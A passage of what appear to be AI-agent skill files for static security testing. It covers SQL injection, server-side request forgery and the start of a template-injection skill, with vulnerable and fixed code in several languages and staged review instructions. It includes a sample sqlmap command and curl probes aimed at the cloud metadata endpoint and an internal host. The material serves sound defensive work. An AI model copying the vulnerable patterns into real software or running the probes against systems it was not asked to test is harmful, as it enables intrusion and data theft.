query := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)
row := db.QueryRow(query)
// ...
}
// SECURE: parameterized query
func GetUserByName(name string) (*User, error) {
row := db.QueryRow("SELECT * FROM users WHERE name = $1", name)
// ...
}
```
### PHP — PDO
```php
// VULNERABLE: string concatenation
function getUser($id) {
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);
return $stmt->fetch();
}
// SECURE: prepared statement
function getUser($id) {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
return $stmt->fetch();
}
```
### C# — ADO.NET
```csharp
// VULNERABLE: string concatenation
public User GetUser(string username) {
using var cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = '" + username + "'", conn);
return ReadUser(cmd.ExecuteReader());
}
// SECURE: parameterized command
public User GetUser(string username) {
using var cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = @username", conn);
cmd.Parameters.AddWithValue("@username", username);
return ReadUser(cmd.ExecuteReader());
}
```
### Dynamic ORDER BY / Column Names (all stacks)
```python
# VULNERABLE: unsanitized user input as column name (parameterization can't help here)
sort_col = request.args.get('sort', 'name')
cursor.execute(f"SELECT * FROM products ORDER BY {sort_col}")
# SECURE: allowlist validation before interpolation
ALLOWED_SORT_COLS = {'name', 'price', 'created_at'}
sort_col = request.args.get('sort', 'name')
if sort_col not in ALLOWED_SORT_COLS:
return abort(400)
cursor.execute(f"SELECT * FROM products ORDER BY {sort_col}")
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Vulnerable SQL Construction Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a SQL query is constructed in a vulnerable way — using string concatenation, interpolation, or formatting with any variable (regardless of where that variable comes from). Write results to `sast/sqli-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, database layer, ORM patterns, and query execution methods.
>
> **What to search for — vulnerable query construction patterns**:
>
> Look for SQL query execution calls where the query string argument is built dynamically rather than being a static string with placeholder parameters. Flag ANY dynamic variable embedded into the query — you are not yet tracing whether the variable is user-controlled; that is Phase 2's job.
>
> 1. **String concatenation into a SQL execution call**:
> - `cursor.execute("SELECT ... WHERE id = " + var)`
> - `$pdo->query("SELECT * FROM users WHERE id = " . $var)`
> - `jdbcTemplate.query("SELECT * WHERE username = '" + var + "'")`
>
> 2. **F-strings / template literals used as a query argument**:
> - `cursor.execute(f"SELECT * WHERE name = '{var}'")`
> - `` db.query(`SELECT * WHERE id = ${var}`) ``
> - `db.QueryRow(fmt.Sprintf("SELECT * WHERE id = '%s'", var))`
>
> 3. **String formatting functions used to build the query**:
> - `cursor.execute("SELECT * WHERE id = %s" % var)` (note: `%` formatting, NOT parameterized binding)
> - `cursor.execute("SELECT * WHERE id = {}".format(var))`
> - `String.format("SELECT * WHERE id = '%s'", var)` (Java)
> - `sprintf("SELECT * WHERE id = %s", $var)` (PHP)
>
> 4. **ORM raw/unsafe methods called with a dynamically built string** (not a static template with bound params):
> - Django: `Model.objects.raw(f"...")`, `RawSQL(f"...")`, `extra(where=[f"..."])`
> - ActiveRecord: `where("col = '#{var}'")` (Ruby interpolation inside string arg)
> - Sequelize: `` sequelize.query(`...${var}...`) ``, `literal(var)`
> - TypeORM: `` createQueryBuilder().where(`col = '${var}'`) ``, `.query("..." + var)`
> - Prisma: `$queryRawUnsafe(...)`, `$executeRawUnsafe(...)`
> - Entity Framework: `FromSqlRaw("..." + var)`, `ExecuteSqlRaw("..." + var)`
>
> 5. **Dynamic identifiers** — any variable used as a column name, table name, `ORDER BY` / `GROUP BY` value in a query string (parameterization cannot protect identifiers; only allowlist validation can):
> - `f"SELECT * FROM {table_var}"`
> - `` `SELECT * FROM ${tableVar}` ``
> - `f"SELECT * ORDER BY {sort_col}"`
>
> **What to skip** (these are safe construction patterns — do not flag):
> - Static query strings with no dynamic parts: `cursor.execute("SELECT * FROM users WHERE id = %s", (val,))`
> - ORM safe query builder methods: `.filter()`, `.where(col: val)`, `.findOne()`, `.findUnique()`, `prisma.$queryRaw` with tagged template literals
> - Properly parameterized raw queries where the string itself is static and values are passed as a separate argument list: `execute("SELECT * WHERE id = %s", (val,))`, `query("SELECT * WHERE id = ?", [val])`
>
> **Output format** — write to `sast/sqli-recon.md`:
>
> ```markdown
> # SQLi Recon: [Project Name]
>
> ## Summary
> Found [N] locations where SQL queries are constructed in a vulnerable way.
>
> ## Vulnerable Construction Sites
>
> ### 1. [Descriptive name — e.g., "String concat in get_user query"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Query execution method**: [cursor.execute / db.query / raw / etc.]
> - **Construction pattern**: [string concat / f-string / template literal / % format / .format() / fmt.Sprintf / ORM raw]
> - **Interpolated variable(s)**: `var_name` — [brief note on what it appears to represent, e.g., "looks like a sort column" or "unknown origin"]
> - **Code snippet**:
> ```
> [the vulnerable query construction + execution call]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/sqli-recon.md`. If the recon found **zero vulnerable construction sites** (the summary reports "Found 0" or the "Vulnerable Construction Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/sqli-results.md` and stop:
```markdown
# SQLi Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one vulnerable construction site.
### Phase 2: Trace User Input to Vulnerable Construction Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each vulnerable SQL construction site in `sast/sqli-recon.md`, determine whether a user-supplied value reaches the interpolated variable. Write final results to `sast/sqli-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each construction site, trace the interpolated variable(s) backwards to their origin**:
>
> 1. **Direct user input** — the variable is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`, `$_GET['id']`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable read from a class attribute or shared state set elsewhere → find the setter
> - Variable conditionally assigned — check all branches
>
> 3. **Second-order input** — the variable is read from the database, but the stored value originally came from user input:
> - Find where this value was written to the DB — was it stored from a user-supplied field?
> - Was it sanitized or parameterized at write time?
>
> 4. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each construction site, also check for mitigations that would prevent exploitation even if user input does reach it**:
> - Is the variable validated against an allowlist before use? (Only effective for dynamic identifiers like column/table names)
> - Is there a type cast that constrains the value? (e.g., `int(val)` — effective only in purely numeric SQL contexts)
> - Is there a custom escaping function? Note: custom escaping (`mysql_real_escape_string`, `addslashes`, homegrown sanitizers) is **not** equivalent to parameterization — still flag as Likely Vulnerable
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the interpolated variable with no effective mitigation.
> - **Likely Vulnerable**: User input probably reaches the variable (indirect flow) or only weak mitigation (custom escaping) is present.
> - **Not Vulnerable**: The variable is server-side only, OR effective parameterization / allowlist validation is in place.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (passes through opaque helpers, complex conditional flows, or external libraries).
>
> **Output format** — write to `sast/sqli-results.md`:
>
> ```markdown
> # SQLi Analysis Results: [Project Name]
>
> ## Executive Summary
> - Construction sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `username` flows directly into f-string SELECT query"]
> - **Taint trace**: [Step-by-step from entry point to the construction site — e.g., "request.GET.get('username') → username → f"SELECT ... '{username}'""]
> - **Impact**: [What an attacker can do — extract all records, bypass authentication, delete data, etc.]
> - **Remediation**: [Specific fix — parameterized query, ORM equivalent, or allowlist for identifiers]
> - **Dynamic Test**:
> ```
> [sqlmap command or manual curl payload to confirm this finding.
> Show the exact parameter, payload, and what to look for in the response.
> Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "Custom escaping applied but bypassable"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Replace with parameterized query]
> - **Dynamic Test**:
> ```
> [payload to attempt bypass]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Variable is a hardcoded server-side constant" or "Allowlist validation gates the sort column"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `build_filter()` in utils.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic variable embedded in a SQL query string, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the interpolated variable back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- Focus on **raw SQL and ORM raw/unsafe methods**. Standard ORM query builder calls (`.filter()`, `.where(col: val)`, `.find()`) are safe by default — do not flag them.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly: a request parameter may be extracted in a middleware, stored in a shared object, passed through several helper functions, and finally reach the query construction. Trace the full chain.
- Custom escaping (including `mysql_real_escape_string`, `addslashes`, or homegrown sanitizers) is **not** equivalent to parameterization — flag as Likely Vulnerable even if escaping is present.
- For dynamic identifiers (column/table names), parameterization cannot help — the only safe fix is allowlist validation. Flag any dynamic identifier without an allowlist, regardless of whether it appears user-controlled.
- Second-order injection is easy to miss: a value stored in the DB from user input may later be read and used unsafely in a raw query elsewhere in the codebase. In Phase 2, treat DB-read values as potentially tainted and trace back to where they were written.
@@ -0,0 +1,486 @@
---
name: sast-ssrf
description: >-
Detect Server-Side Request Forgery (SSRF) vulnerabilities in a codebase using
a two-phase approach: first find all outbound network call sites (HTTP, TCP,
DNS requests to remote hosts), then trace whether user-supplied input reaches
those call sites. Requires sast/architecture.md (run sast-analysis first).
Outputs findings to sast/ssrf-results.md. Use when asked to find SSRF or
server-side request forgery bugs.
---
# Server-Side Request Forgery (SSRF) Detection
You are performing a focused security assessment to find SSRF vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all places that make outbound TCP, DNS, or HTTP requests) then **taint** (confirm whether user-supplied input influences those call sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSRF
SSRF occurs when an attacker can cause the server to make outbound network requests to an arbitrary destination — including internal services, cloud metadata endpoints, or other external targets — by supplying or influencing the URL, hostname, IP, or port used in a server-side request.
The core pattern: *unvalidated, user-controlled input reaches the destination argument of an outbound network call.*
### What SSRF IS
- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`
- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`
- DNS lookups on a hostname supplied by the user: `dns.lookup(req.query.host)`
- Raw TCP connections to a host/port derived from user input: `socket.connect((user_host, user_port))`
- File-fetching functions used with HTTP/FTP URLs from user input: `file_get_contents($user_url)`
- URL redirectors that forward to a user-supplied destination without validation
- Webhooks, import-from-URL, screenshot services, PDF renderers, image proxies — any feature that fetches a remote resource on behalf of the user
### What SSRF is NOT
Do not flag these:
- **Open redirects**: Redirecting the browser (HTTP 302) to a user-supplied URL — that's a client-side redirect, not a server-side request
- **XSS via URL**: Rendering a user-supplied URL in an `<a>` tag without escaping — that's XSS
- **IDOR**: Accessing another user's data by changing an object ID — separate vulnerability class
- **Hardcoded outbound calls**: HTTP requests to fixed, fully hardcoded URLs with no user influence — not SSRF
### Patterns That Prevent SSRF
When you see these patterns, the code is likely **not vulnerable**:
**1. Strict allowlist of permitted destinations**
```python
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Destination not allowed")
requests.get(user_url)
```
**2. Allowlist of permitted URL prefixes / schemes**
```python
ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]
if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):
abort(400)
requests.get(user_url)
```
**3. No user influence on the destination**
```python
# Destination fully hardcoded — no user input involved
response = requests.get("https://api.thirdparty.com/data")
```
> **Note**: IP blocklists (blocking 169.254.0.0/16, 10.0.0.0/8, etc.) are **not** sufficient protection — they can be bypassed via DNS rebinding, URL encoding, IPv6 notation, decimal IP representation, or redirect chains. Do not treat a blocklist as making a site safe; classify it as Likely Vulnerable.
---
## Vulnerable vs. Secure Examples
### Python — requests
```python
# VULNERABLE: URL fully controlled by user
@app.route('/fetch')
def fetch():
url = request.args.get('url')
response = requests.get(url)
return response.text
# SECURE: strict allowlist on destination host
ALLOWED = {"api.example.com"}
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if urlparse(url).hostname not in ALLOWED:
abort(403)
response = requests.get(url)
return response.text
```
### Python — urllib
```python
# VULNERABLE: user controls the URL passed to urlopen
def preview(request):
target = request.GET.get('target')
data = urllib.request.urlopen(target).read()
return HttpResponse(data)
# SECURE: only allow https scheme to a hardcoded host
def preview(request):
target = request.GET.get('target')
parsed = urlparse(target)
if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':
return HttpResponse(status=400)
data = urllib.request.urlopen(target).read()
return HttpResponse(data)
```
### Node.js — fetch / axios
```javascript
// VULNERABLE: webhook URL comes directly from request body
app.post('/webhook/test', async (req, res) => {
const { url } = req.body;
const result = await fetch(url);
res.json(await result.json());
});
// SECURE: allowlist check before fetch
const ALLOWED_HOSTS = new Set(['hooks.example.com']);
app.post('/webhook/test', async (req, res) => {
const { url } = req.body;
const { hostname } = new URL(url);
if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');
const result = await fetch(url);
res.json(await result.json());
});
```
### Node.js — http.request
```javascript
// VULNERABLE: host and path from query string
app.get('/proxy', (req, res) => {
const { host, path } = req.query;
http.get({ host, path }, (proxyRes) => proxyRes.pipe(res));
});
```
### Ruby on Rails — Net::HTTP / OpenURI
```ruby
# VULNERABLE: open() fetches arbitrary URL
def import
url = params[:url]
content = URI.open(url).read # also triggers for open(url) via Kernel#open
# ...
end
# SECURE: restrict scheme and host
def import
url = params[:url]
uri = URI.parse(url)
raise "Forbidden" unless uri.is_a?(URI::HTTPS) && uri.host == "data.example.com"
content = uri.open.read
# ...
end
```
### PHP — cURL
```php
// VULNERABLE: user-supplied URL piped into curl
function fetch_preview($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
// Called as: fetch_preview($_GET['url'])
// SECURE: validate URL against allowlist before curl
function fetch_preview($url) {
$allowed = ['https://cdn.example.com/'];
foreach ($allowed as $prefix) {
if (strpos($url, $prefix) === 0) {
// ... proceed with curl
}
}
throw new Exception("Destination not allowed");
}
```
### PHP — file_get_contents
```php
// VULNERABLE: file_get_contents with http:// wrapper and user input
$url = $_GET['source'];
$data = file_get_contents($url); // fetches remote URL if scheme is http/https/ftp
```
### Java — Spring / OkHttp
```java
// VULNERABLE: RestTemplate with user-controlled URL
@GetMapping("/proxy")
public ResponseEntity<String> proxy(@RequestParam String url) {
RestTemplate restTemplate = new RestTemplate();
return restTemplate.getForEntity(url, String.class);
}
// VULNERABLE: OkHttp with user-controlled host
public String fetch(String host, String path) {
Request request = new Request.Builder()
.url("https://" + host + path)
.build();
return client.newCall(request).execute().body().string();
}
```
### Go — net/http
```go
// VULNERABLE: user-supplied URL passed to http.Get
func proxyHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("url")
resp, err := http.Get(target)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
io.Copy(w, resp.Body)
}
// VULNERABLE: user controls host in net.Dial
func dialHandler(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
port := r.URL.Query().Get("port")
conn, _ := net.Dial("tcp", host+":"+port)
// ...
}
```
### C# — HttpClient
```csharp
// VULNERABLE: user-supplied URL passed to HttpClient
[HttpGet("proxy")]
public async Task<IActionResult> Proxy([FromQuery] string url)
{
var response = await _httpClient.GetAsync(url);
var content = await response.Content.ReadAsStringAsync();
return Content(content);
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find All Outbound Network Call Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where the application makes an outbound network request — HTTP, HTTPS, FTP, TCP, or DNS — regardless of whether that destination is user-controlled. Write results to `sast/ssrf-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, HTTP client libraries in use, and any networking or webhook-related components.
>
> **What to search for — outbound request call sites**:
>
> You are looking for any code that opens a network connection or fetches a remote resource. Flag ANY call where a non-trivially-hardcoded URL, host, or address value is passed as an argument. You are not yet tracing whether that value is user-controlled; that is Phase 2's job.
>
> 1. **Python HTTP clients**:
> - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
> - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
> - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`
> - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`
>
> 2. **Python socket / DNS**:
> - `socket.connect((host, port))`, `socket.create_connection((host, port))`
> - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`
>
> 3. **Python file-fetching with remote schemes**:
> - `urllib.request.urlopen(url)` where url may be http/https/ftp
> - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)
>
> 4. **Node.js / JavaScript HTTP clients**:
> - `fetch(url)`, `node-fetch(url)`
> - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`
> - `http.get(url)`, `https.get(url)`, `http.request(options)`, `https.request(options)`
> - `got(url)`, `superagent.get(url)`, `needle.get(url)`, `undici.request(url)`
> - `require('request')(options)`
>
> 5. **Node.js socket / DNS**:
> - `net.createConnection({host, port})`, `net.connect(port, host)`
> - `dns.lookup(hostname, ...)`, `dns.resolve(hostname, ...)`, `dns.resolve4(hostname)`
>
> 6. **Ruby HTTP clients**:
> - `Net::HTTP.get(uri)`, `Net::HTTP.start(host, ...)`, `Net::HTTP.get_response(url)`
> - `URI.open(url)`, `open(url)` (Kernel#open / OpenURI)
> - `RestClient.get(url)`, `RestClient::Resource.new(url)`
> - `Faraday.new(url).get(path)`, `HTTParty.get(url)`
> - `Typhoeus::Request.new(url)`
>
> 7. **PHP HTTP clients and file functions**:
> - `curl_setopt($ch, CURLOPT_URL, $url)` followed by `curl_exec($ch)`
> - `file_get_contents($url)` — flag when `$url` may be an http/https/ftp URL
> - `fopen($url, 'r')` with a remote URL scheme
> - `Guzzle`: `$client->request('GET', $url)`, `$client->get($url)`
> - `Symfony HttpClient`: `$client->request('GET', $url)`
>
> 8. **Java HTTP clients**:
> - `new URL(url).openConnection()`, `new URL(url).openStream()`
> - `HttpURLConnection` / `HttpsURLConnection` with a dynamic URL
> - `OkHttpClient().newCall(new Request.Builder().url(url)...)`
> - `RestTemplate.getForObject(url, ...)`, `RestTemplate.getForEntity(url, ...)`
> - `WebClient.get().uri(url)`, `WebClient.create(url)`
> - `Apache HttpClient`: `httpClient.execute(new HttpGet(url))`
>
> 9. **Go HTTP clients and network dials**:
> - `http.Get(url)`, `http.Post(url, ...)`, `http.NewRequest("GET", url, ...)`
> - `net.Dial("tcp", addr)`, `net.DialTCP(...)`, `net.DialTimeout("tcp", addr, ...)`
> - `net.LookupHost(hostname)`, `net.LookupAddr(addr)`, `net.ResolveIPAddr(...)`
> - `net.ResolveTCPAddr("tcp", addr)`
>
> 10. **C# / .NET HTTP clients**:
> - `HttpClient.GetAsync(url)`, `HttpClient.PostAsync(url, ...)`, `HttpClient.SendAsync(request)`
> - `WebRequest.Create(url)`, `WebClient.DownloadString(url)`, `WebClient.DownloadData(url)`
> - `HttpWebRequest` with a dynamic URL
>
> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.):
> - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
> - `os.system("curl " + url)`, `exec("wget " + url)`
> - Any `curl`, `wget`, `nc`, `ncat`, `nmap` invocation where the target is a variable
>
> **What to skip** (these are safe — do not flag):
> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
> - Internal loopback connections to `localhost` or `127.0.0.1` that are clearly part of service-to-service architecture (e.g., connecting to a local queue) — flag these if the address is dynamic
>
> **Output format** — write to `sast/ssrf-recon.md`:
>
> ```markdown
> # SSRF Recon: [Project Name]
>
> ## Summary
> Found [N] outbound network call sites.
>
> ## Outbound Call Sites
>
> ### 1. [Descriptive name — e.g., "HTTP GET in webhook dispatcher"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
> - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]
> - **Destination argument**: `var_name` or `url_expression` — [brief note, e.g., "assembled from query param" or "partially hardcoded path with variable host"]
> - **Code snippet**:
> ```
> [the outbound call and the lines immediately before it that construct the destination]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/ssrf-recon.md`. If the recon found **zero outbound call sites** (the summary reports "Found 0" or the "Outbound Call Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/ssrf-results.md` and stop:
```markdown
# SSRF Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one outbound call site.
### Phase 2: Trace User Input to Outbound Call Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each outbound network call site in `sast/ssrf-recon.md`, determine whether a user-supplied value controls or influences the destination (URL, host, path, port, or scheme). Write final results to `sast/ssrf-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand entry points, middleware, and how data flows through the application.
>
> **For each outbound call site, trace the destination argument(s) backwards to their origin**:
>
> 1. **Direct user input** — the destination is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get('url')`, `req.query.url`, `params[:url]`, `$_GET['url']`, `c.Query("url")`
> - Request body / JSON fields: `request.json['webhook_url']`, `req.body.target`, `params[:source]`
> - Path parameters: `req.params.host`, `params[:endpoint]`
> - HTTP headers: `request.headers.get('X-Forwarded-For')`, `req.headers['destination']`
> - Cookies: `req.cookies.redirect_url`
>
> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path:
> - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client
> - `base_url + user_query` — user controls the query string, potentially injectable
> - Flag these as Likely Vulnerable and note which portion is user-controlled
>
> 3. **User input stored and later fetched** — the destination was previously saved from user input (e.g., a stored webhook URL) and is now retrieved from the database to make a request:
> - Find where the stored value was written — was it accepted from user input without allowlist validation at write time?
> - Was any validation applied at read time before the request?
>
> 4. **Server-side / hardcoded value** — the destination comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each call site, also check for mitigations**:
> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable.
> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.
> - **Blocklist of private IP ranges / metadata endpoints**: `169.254.169.254`, `10.0.0.0/8`, `192.168.0.0/16`, etc. — **not** sufficient. Bypassable via DNS rebinding, alternate IP representations, and redirect chains. Flag as Likely Vulnerable.
> - **DNS resolution + IP check** (resolve hostname first, then check resolved IP against blocklist): Stronger than a pure blocklist, but still susceptible to DNS rebinding between the check and the request (TOCTOU). Flag as Likely Vulnerable unless the same resolved IP is explicitly pinned for the request.
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the outbound request destination with no effective mitigation (no allowlist or only a blocklist/scheme check).
> - **Likely Vulnerable**: User input probably reaches the destination (indirect flow or partial construction), or only weak mitigation is present (blocklist, scheme-only check, partial URL prefix).
> - **Not Vulnerable**: The destination is fully server-side, OR a strict host/prefix allowlist is enforced before the request.
> - **Needs Manual Review**: Cannot determine the destination's origin with confidence (opaque helpers, complex conditional flows, or external libraries that resolve the URL).
>
> **Output format** — write to `sast/ssrf-results.md`:
>
> ```markdown
> # SSRF Analysis Results: [Project Name]
>
> ## Executive Summary
> - Outbound call sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]
> - **Impact**: [What an attacker can do — access cloud metadata at 169.254.169.254, pivot to internal services, port scan the internal network, exfiltrate data, bypass firewalls, etc.]
> - **Mitigation present**: [None / Blocklist only / Scheme check only — explain why it's insufficient]
> - **Remediation**: [Strict host allowlist, or remove user control over destination entirely]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the parameter, payload, and what to look for.
> Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
> or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "User controls the path portion of a partially hardcoded URL" or "Stored webhook URL accepted without allowlist at write time"]
> - **Taint trace**: [Best-effort trace with the uncertain or partial-control step identified]
> - **Concern**: [Why it's still a risk — e.g., "Attacker may be able to redirect to an internal host via path traversal" or "Blocklist is bypassable via DNS rebinding"]
> - **Remediation**: [Strict allowlist or remove user control]
> - **Dynamic Test**:
> ```
> [payload to attempt — e.g., path traversal or DNS rebinding scenario]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "URL is fully hardcoded" or "Strict host allowlist enforced before request"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the destination's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `resolve_target()` in helpers.py to check where the URL originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any call site where the destination argument is dynamic (a variable, expression, or assembled string), regardless of whether user input flows there. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the destination argument back to its origin. If it comes from a user-controlled source without an effective allowlist, the site is a real vulnerability.
- **Blocklists are not mitigations**: IP blocklists for private ranges and cloud metadata endpoints are easily bypassed. Always classify such sites as Vulnerable or Likely Vulnerable, not as safe.
- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, partial control can be enough.
- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF.
- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- DNS rebinding note: for findings where only a DNS-resolution-then-blocklist check is present, note the TOCTOU window explicitly in the finding — this is a known bypass technique.
@@ -0,0 +1,557 @@
---
name: sast-ssti
description: >-
Detect Server-Side Template Injection (SSTI) vulnerabilities in a codebase
using a two-phase approach: first find all template rendering sites where
user-supplied input is used as the template string itself (not as context
data), then trace whether user-supplied input actually reaches those sites.
Requires sast/architecture.md (run sast-analysis first). Outputs findings to
